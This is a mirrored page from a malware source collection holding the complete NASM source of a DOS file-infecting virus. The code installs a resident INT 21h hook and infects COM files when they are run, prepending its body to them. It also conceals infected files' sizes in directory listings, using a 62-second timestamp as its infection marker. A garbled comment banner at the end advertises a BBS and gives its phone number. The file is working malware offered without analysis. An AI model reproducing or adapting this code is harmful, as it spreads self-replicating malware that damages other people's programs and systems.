mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
188 lines
5.4 KiB
NASM
188 lines
5.4 KiB
NASM
;
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;
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;
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org 100h
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ofs:
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push 100h
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push ax
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push ds
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push es
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mov dx,054h-(ofs/16)
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mov es,dx
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mov ax,es:ofs[0]
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cmp ax,ofs[0]
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je to_host
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lea si,ofs
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mov di,si
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mov cx,virlength
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rep movsb
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mov ds,es
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mov ax,3521h
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int 21h
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mov word ptr ds:old21[0],bx
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mov word ptr ds:old21[2],es
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mov ax,2521h
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lea dx,new21
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int 21h
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to_host: pop es
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pop ds
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mov di,0fe00h
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lea si,relocator
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mov cx,rellength
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rep movsb
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jmp 0fe00h
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old21 dd 0
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relocator:
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mov di,100h
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orgofs: lea si,orgp
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mov cx,virlength
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rep movsb
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pop ax
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ret
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rellength equ $-relocator
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new21:
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cmp ah,11h
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je findfcb
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cmp ah,12h
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je findfcb
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cmp ah,4eh
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je find
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cmp ah,4fh
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je find
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cmp ax,4b00h
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je exec
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jmp short dword ptr cs:[old21]
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getdta:
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pop si
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pushf
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push ax
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push bx
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push es
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mov ah,2fh
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call dos
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jmp short si
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FindFCB: call DOS ; call orginal interrupt
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cmp al,0 ; error ?
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jne Ret1
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call getdta
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cmp byte ptr es:[bx],-1 ; extended fcb ?
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jne FCBOk
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add bx,8 ; yes, skip 8 bytes
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FCBOk: mov al,es:[bx+16h] ; get file-time (low byte)
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and al,1fh ; seconds
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cmp al,1fh ; 62 seconds ?
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jne FileOk ; no, file not infected
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sub word ptr es:[bx+1ch],Virlength ; adjust file-size
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sbb word ptr es:[bx+1eh],0
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jmp short Time
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Find: call DOS
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jc Ret1
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call getdta
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mov al,es:[bx+16h]
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and al,1fh
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cmp al,1fh
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jne FileOk
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sub word ptr es:[bx+1ah],VirLength
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sbb word ptr es:[bx+1ch],0
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Time: xor byte ptr es:[bx+16h],10h
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FileOk: pop es
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pop bx
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pop ax
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popf
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Ret1: retf 2
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exec: push ax
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push bx
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push cx
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push dx
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push ds
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push es
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mov ax,3d02h
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call dos
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mov bx,0bc00h
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mov ds,bx
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mov bh,3fh
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xchg ax,bx
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xor dx,dx
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mov cx,virlength
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call dos
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cmp word ptr ds:[0],'ZM'
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je exe
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cmp word ptr ds:[0],0068h ; push 100
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jne noexe
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exe: mov ah,3eh
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call dos
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pop es
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pop ds
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pop dx
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pop cx
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pop bx
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pop ax
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jmp short dword ptr cs:[old21]
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noexe: mov ax,4202h
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xor cx,cx
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xor dx,dx
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call dos
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cmp ax,0fd00h
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jae exe
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cmp ax,virlength+10
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jb exe
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inc ah
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mov word ptr cs:orgofs[1],ax
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mov ax,5700h
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call dos
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or cx,1fh
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push cx
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push dx
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mov ah,40h
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xor dx,dx
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mov cx,virlength
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push cx
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call dos
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mov ax,4200h
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xor cx,cx
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xor dx,dx
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call dos
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mov ah,40h
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mov ds,cs
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lea dx,ofs
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pop cx
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call dos
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mov ax,5701h
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pop dx
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pop cx
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call dos
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jmp short exe
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dos: pushf
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call dword ptr cs:[old21]
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ret
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virlength equ $-ofs
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orgp: int 20h
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> and Remember Don't Forget to Call <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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